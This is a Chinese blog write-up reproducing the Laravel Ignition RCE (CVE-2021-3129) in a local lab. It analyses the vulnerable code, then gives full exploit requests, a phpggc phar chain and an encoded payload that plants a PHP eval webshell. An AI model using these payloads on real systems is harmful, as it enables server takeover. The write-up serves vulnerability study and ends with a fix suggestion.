本文最后更新于 2024-09-26,文章内容可能已经过时。

Laravel远程代码执行(CVE-2021-3129)漏洞复现

一、漏洞概述

Laravel是一套简洁的,优雅的PHP Web开发框架。它可以让你从面条一样杂乱的代码中解脱出来;它可以帮你构建一个完美的网络APP,而且每行代码都可以简洁,富裕表达力。

官网:https://aravel.com/

当Laravel开启了Debug模式的时候,由于Laravel自带的ignition组件file_get_contents()file_put_contents()函数的不安全使用,攻击者可以通过gnition组件发送恶意请求,构造恶意的Log文件等方式触发Phar反序列化,最终导致远程代码执行

影响版本:

Laravel 框架 <= 8.4.2

ignition 组件 < 2.5.2

二、漏洞分析

环境搭建:

centos7 (192.168.91.128)

手动安装:

根据原文(https://www.ambionics.io/blog/laravel-debug-rce)的搭建方式,把服务开起来。

$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve

如果没有composer命令参照这个文章安装:https://blog.csdn.net/wamp0001/article/details/130032385

如果没有php环境执行如下命令进行安装:

yum -y install php php-mysql gd php-gd gd-devel php-xml php-common php-mbstring php-ldap php-pear php-xmlrpc php-imap

docker安装(推荐):

git clone https://github.com/SNCKER/CVE-2021-3129.git
cd CVE-2021-3129/
docker-compose up -d

(我这里端口8888端口被占用,所以临时修改了docker-compose.yml里映射的端口)

搭建完成后,打开配置文件 laravel/config/app.php,找到 'debug’项设置为true(开启debug模式):

(docker可以先docker exec -it [容器名] /bin/bash进入容器后找到文件修改)

image-20240926123517717

访问浏览器对应的端口,出现以下页面表面搭建完毕

image-20240926124114204

kali攻击机(192.168.91.129)

1、漏洞存在判别

Laravel环境搭建完成之后,第一次访问首页,会出现报错"No application encryption key has been specified"(未指定应用加密密钥),其在下方给我们提供了一个修复的方案(Ignition组件提供)

点击页面中的"Generate app key",会生成对应应用的密钥,这里我们就可以使用Burp Suit拦截该请求。

image-20240926124431227

可以看到调用了生成密钥的解决方案:GenerateAppKeySolution

然后修改请求正文的sulution 参数,修改为MakeViewVariableOptionalSolution

(本次漏洞的触发点)如下:

{
	"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
     "parameters":{
         "variableName" : "asdf",
         "viewFile": "asdfghj"
     }
}

发送修改后的请求,若返回结果为500,且提示file_get_contents()的报错的时候,则有此漏洞。

image-20240926124901541

可以看到抓包内容,明显调用了file_get_contents()方法,这里asdfghj是随便写的文件名,当然会显示不存在。

或者如下图,提示file_get_contents()方法调用失败,没有对应的文件或者目录,但是出现如下界面,也能表示漏洞存在。

image-20240926125148861

2、漏洞代码分析

Laravel在第六版之后,debug模式使用了ignition组件来美化堆栈信息,ignition还附带了‘一键修复bug’的功能,为我们提供了一些快速修复部分错误的解决方案(solution),在vendor\facade\ignition\src\Solutions下我们可以看到这些solutions,如下:

image-20240926151004790

而本次漏洞就是其中的MakeViewVariableOptionalSolution.php对传入的相关参数过滤不严谨导致的。首先我们来看看Laravel是如何去调用对应的solution的,在solution的控制器中

到执行solution的控制器ExecuteSolutionController.php里面中去看看是如何调用solution的:

(vendor\facade\ignition\src\Http\Controllers\ExecuteSolutionController.php)

image-20240926160723232

从上面可以看到,在ExecuteSolutionController中会去调用对应的solution的run方法并传入参数,getRunnableSolution()方法获取到相应的solution名,然后调用solution对象中的run()方法,并将获取的可控的parameters参数传过去。而这个参数就是前面抓包时候请求正文中的parameters参数,所以说这个输入参数是可控的

通过这个点我们就可以调用到MakeViewVariableOptionalSolution::run()了,跟进MakeViewVariableOptionalSolution中的run()方法:

(vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php)

image-20240926154620988

其中,我们重点关注viewFile这个参数,代码中对它进行了如下处理:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

可以看到这里主要功能点是:读取一个给定的路径$parameters['viewFile'],并替换读取到的内容中的$variableName$variableName ?? '',之后写回文件中$parameters['viewFile'],这相当于什么都没有做!

其中file_put_contents($parameters['viewFile'],$output);这行代码会将makeOptional()方法的结果输出到对应的文件中(viewFile参数指定)

可以看到其中的$originalContents = file_get_contents($parameters[‘viewFile’])这行代码,对传入的parameter参数没有进行任何过滤且其中的参数可控。所以这里就可以通过Phar://伪协议的方法进行饭反序列化,攻击者构造一个含有恶意代码的压缩包文件,通过Phar://伪协议进行读取后,Laravel就会自动解压缩后进行反序列化,最后执行其中的恶意代码。

如果后期利用框架进行开发的人员写出了一个文件上传的功能,那么我们就可以上传一个恶意phar文件,利用上述的file_get_contents()去触发phar反序列化,也会达到RCE的效果。

整体的利用流程:

ExecuteSolutionController->__invoke() -> ExecuteSolutionRequest -> getRunnableSolution() -> getSolution() -> MakeViewVariableOptionalSolution->run()

日志文件的利用

如果当我们无法直接上传phar文件进行漏洞利用的时候,有什么办法可以在不上传文件情况下进行漏洞利用呢?答案是使用Laravel日志文件——laravel.log。将该文件变为一个合法的phar文件进行利用,laravel.log记录了laravel的报错的信息,像前面的我们利用相应的POST请求判断是否存在此漏洞时,输入了一个不存在的viewFile,导致报错,此时会将viewFile的值输出到日志文件中,如下图:

image-20240926162257101

从上面不难发现一次报错信息输出,会在三个地方出现viewFile的值,前两处会完整输出,而最后一处会输出部分内容。有此我们可以得出该log日志文件的格式如下:

[时间] [报错信息字符串] viewFile的值 [报错信息字符串] viewFile的值[报错信息字符串]
...
[报错信息字符串] 部分的viewFile的值 [报错信息字符串]
...

因为一个文件是否是phar文件的标准是其是否携带了phar文件的头部。所以如果我们能通过控制log文件中输出的viewFile配合makeOptional()方法中的file_get_contents()file_put_contents()这两个方法将log文件改造成一个phar文件,则可以完成RCE漏洞的利用。

3、漏洞利用步骤

(1)清理日志

我们要利用这个log文件,首先就要清空日志,因为在实际环境中日志文件不可能为空,其会有以前的报错信息。如何清除呢?这里就需要用到php://filter中的convert.base64-decode过滤器的特性:

file_put_contents('test.txt','||@@##',base64_encode('test').'[{}]');
echo file_get_contents('php://filter/read=convert.base64-decode/resource=test.txt');

利用kali的php交互命令行演示

image-20240926165854208

可以看到convert.base64-decode过滤器会将一些非base64字符过滤掉后在进行base64解码(如图,最后输出的是test)。于是我们可以将日志文件的所有内容转化为非base64编码出现的字符串,而后再使用convert.base64-decode过滤器读取,此时读取到的内容就为空,接着在run()方法中就会调用file_put_contents()方法将空的内容输出到日志文件中,从而将日志文件清空,最后我们可以使用以下三步来进行字符集转换,使得读取的文件内容全部转换为非base64字符。

convert.iconv.utf-8.utf-16be // UTF-8 -> UTF-16BE
convert.quoted-printable-encode // 打印不可见字符
convert.iconv.utf-16be.utf-8 // UTF-16BE -> UTF-8

上述步骤综合起来则可以使用以下代码进行利用:

php://filter/write=convert.iconv.utf-8.utf-8-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

burp发送如下数据包,将日志文件清空。

POST /_ignition/execute-solution HTTP/1.1
Host: IP:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 330

{
  "solution": "Facade\\\\Ignition\\\\Solutions\\\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "username",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

返回200表示清除成功。

image-20240926175017207

(2)写入符合规范的phar文件

保留有效载荷并删除其余部分

我们从上面知道可以通过过滤器将读取的文件内容进行字符集转换,于是我们可以先讲payload转换为其他字符集,而后再读取时候对整体日志文件内容再转换成原本的payload的字符集,这里使用先将utf-8转换成utf-16,利用时再将utf-16转换成utf-8

//输出含有utf-16编码的payload
echo -ne '[prefix]P\0A\0Y\0L\0O\OA\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[suffix]' > test.txt
//php命令中执行如下,将utf-16转换成utf-8
echo file_get_contents('php://filter/read=convert.iconv.utf-16le.utf-8/resource=test.txt');

image-20240926180346715

image-20240926180549723

如图,去除payload中重复的中文字符和多出来的payload就可以进行利用了

  • 去除重复的payload

从上面的实验结果来看,我们发现当有俩个payload的时候就会输出两个payload,后续进行base64编码的时候必定会报错,所以我们要想一个办法将payload只输出一个。而utf-16be以两个字节为单位,所以我们可以在末尾添加一个字节来错位,使得只有一个payload得以输出,如下添加一个字节X,使得只输出一个payload:

(因为到X的时候,解析会从新开始,后面的payload就会报错,导致被解析成中文)

echo -ne '[prefix]P\0A\0Y\0L\0O\OA\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[suffix]' > test.txt

image-20240926180944738

  • 日志文件内容的2字节对齐

日志文件不一定是两个字节,这时候我们需要进行对齐处理,而之前我们知道每个报错信息日志输出的格式基本一致,所以我们可以先发一个无关紧要的PAYLOAD_A,再发送一个PAYLOAD_B用于利用,此时日志文件

[prefix]、[midfix]和[suffix]与payload_A和payload_B一起出现两次,日志文件的内容的格式就对齐了。日志文件格式如下:

[prefix]PAYLOAD_A[midfix]PAYLOAD_A[suffix]
[prefix]PAYLOAD_B[midfix]PAYLOAD_B[suffix]

(这样日志文件的内容就是两个字节,就不会发生报错)

  • 空字节的写入

在我们使用file_get_contens()传入\00的时候,php可能会报错,无法将空字节(\00)写入到文件中,而php为了将不可见的字符打印出来,提供了convert.quoted-printable-encode过滤器,其将字符串转换为ascii码前面加了个=号

image-20240926182208305

同理也可以使用convert.quoted-printable-decode过滤器将对应的字符还原。

image-20240926182300936

通过上面这一系列的步骤,现在我们可以在日志文件中写入我们想写入的东西了,后续就是找到RCE的反序列化的POC链生成对应的phar文件内容,将其输入到日志文件中,最后用过phar://伪协议去触发反序列化进行利用。

三、漏洞复现

1、环境搭建

被攻击的服务器:

centos7(192.168.91.128)

靶场环境:vulhub/laravel:8.4.2(docker环境)

环境搭建:(进入vulhub对应目录直接使用docker-compose进行拉取)

cd /vulhub/laravel/CVE-2021-3129
docker-compose up -d

访问浏览器8080端口,出现如下页面说明环境搭建成功。

image-20240926183902720

攻击机:

kali(192.168.91.129)

POC利用工具:

反序列化利用链生成工具:https://github.com/ambionics/phpggc

2、复现步骤

(1)访问/_ignition/execute-solution路径,使用Burp进行拦截,修改请求方法为POST,修改Content-Type为application/json,添加如下请求正文,发送请求,清空laravel日志。(如果报错500,多执行几遍就行)

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "aaaa",
    "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

image-20240926190106077

如上图,显示200,表示日志成功被清空。

(2)利用phpggc工具指定利用链为Laravel/RCE5生成反序列化利用的POC,此处为写入一句话木马到shell.php文件中

#首先构造一句话木马,进行base64编码
// <?php @eval($_POST['a']);?>
PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+
#cd到phpggc工具目录中,执行如下:
php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgQGV2YWwoJF9QT1NUWydhJ10pOz8+|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

image-20240926191357645

(3)发送AA生成无害payload,方便后面进行对齐」

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "asdf",
    "viewFile": "AA"
  }
}

image-20240926191904040

(4)发送POC到服务器

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "asdf",
    "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=70=00=4E=00=41=00=67=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=58=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=4D=00=36=00=49=00=6A=00=77=00=2F=00=63=00=47=00=68=00=77=00=49=00=48=00=4E=00=35=00=63=00=33=00=52=00=6C=00=62=00=53=00=67=00=6E=00=5A=00=57=00=4E=00=6F=00=62=00=79=00=42=00=51=00=52=00=44=00=6C=00=33=00=59=00=55=00=68=00=42=00=5A=00=31=00=46=00=48=00=56=00=6A=00=4A=00=5A=00=56=00=33=00=64=00=76=00=53=00=6B=00=59=00=35=00=55=00=56=00=51=00=78=00=54=00=6C=00=56=00=58=00=65=00=57=00=52=00=6F=00=53=00=6A=00=45=00=77=00=63=00=45=00=39=00=36=00=4F=00=43=00=74=00=38=00=59=00=6D=00=46=00=7A=00=5A=00=54=00=59=00=30=00=49=00=43=00=31=00=6B=00=49=00=44=00=34=00=67=00=4C=00=33=00=5A=00=68=00=63=00=69=00=39=00=33=00=64=00=33=00=63=00=76=00=61=00=48=00=52=00=74=00=62=00=43=00=39=00=7A=00=61=00=47=00=56=00=73=00=62=00=43=00=35=00=77=00=61=00=48=00=41=00=6E=00=4B=00=54=00=73=00=67=00=5A=00=58=00=68=00=70=00=64=00=44=00=73=00=67=00=50=00=7A=00=34=00=69=00=4F=00=33=00=31=00=39=00=66=00=51=00=67=00=41=00=41=00=41=00=42=00=30=00=5A=00=58=00=4E=00=30=00=4C=00=6E=00=52=00=34=00=64=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=78=00=2B=00=66=00=39=00=69=00=6B=00=41=00=51=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=52=00=66=00=31=00=33=00=64=00=77=00=53=00=71=00=69=00=6E=00=31=00=6D=00=4B=00=6A=00=51=00=67=00=75=00=56=00=30=00=31=00=74=00=63=00=52=00=4A=00=6E=00=6F=00=47=00=51=00=49=00=41=00=41=00=41=00=42=00=48=00=51=00=6B=00=31=00=43=00a"
  }
}

(这里记得最后的地方要加一个a,因为要发送错位信息,不然发送的是两个payload,解析不到)

image-20240926192202275

(5)发送如下请求,消除多余的字符串,使得日志信息只留下一个payload

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "asdf",
    "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  }
}

image-20240926192729375

可以在docker容器中查看日志信息,发现只剩下我们想要的payload的一句话木马文件内容。

image-20240926193100059

(6)访问文件,使用phar://伪协议进行反序列化

{
  "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  "parameters": {
    "variableName": "asdf",
    "viewFile": "phar://../storage/logs/laravel.log/test.txt"
  }
}

image-20240926193830459

image-20240926194953190

可以看到通过反序列化已经在容器内生成了shell.php文件

192.168.91.128:8080/shell.php指定post请求a=phpinfo();

image-20240926195232169

修复建议

MakeViewVariableOptionalSolution.php中添加对应敏感过滤函数,对$parameters['viewFile']进行过滤,禁止其利用伪协议,禁止读取敏感文件等。

参考:

Laravel Debug 模式 反序列化远程代码执行POP链 https://www.cnblogs.com/zpchcbd/p/14702897.html

Laravel Debug RCE 分析:https://xz.aliyun.com/t/9165

Laravel <= v8.4.2 debug mode: Remote code execution:https://www.ambionics.io/blog/laravel-debug-rce

CVE-2021-3129详解:https://www.freebuf.com/vuls/273654.html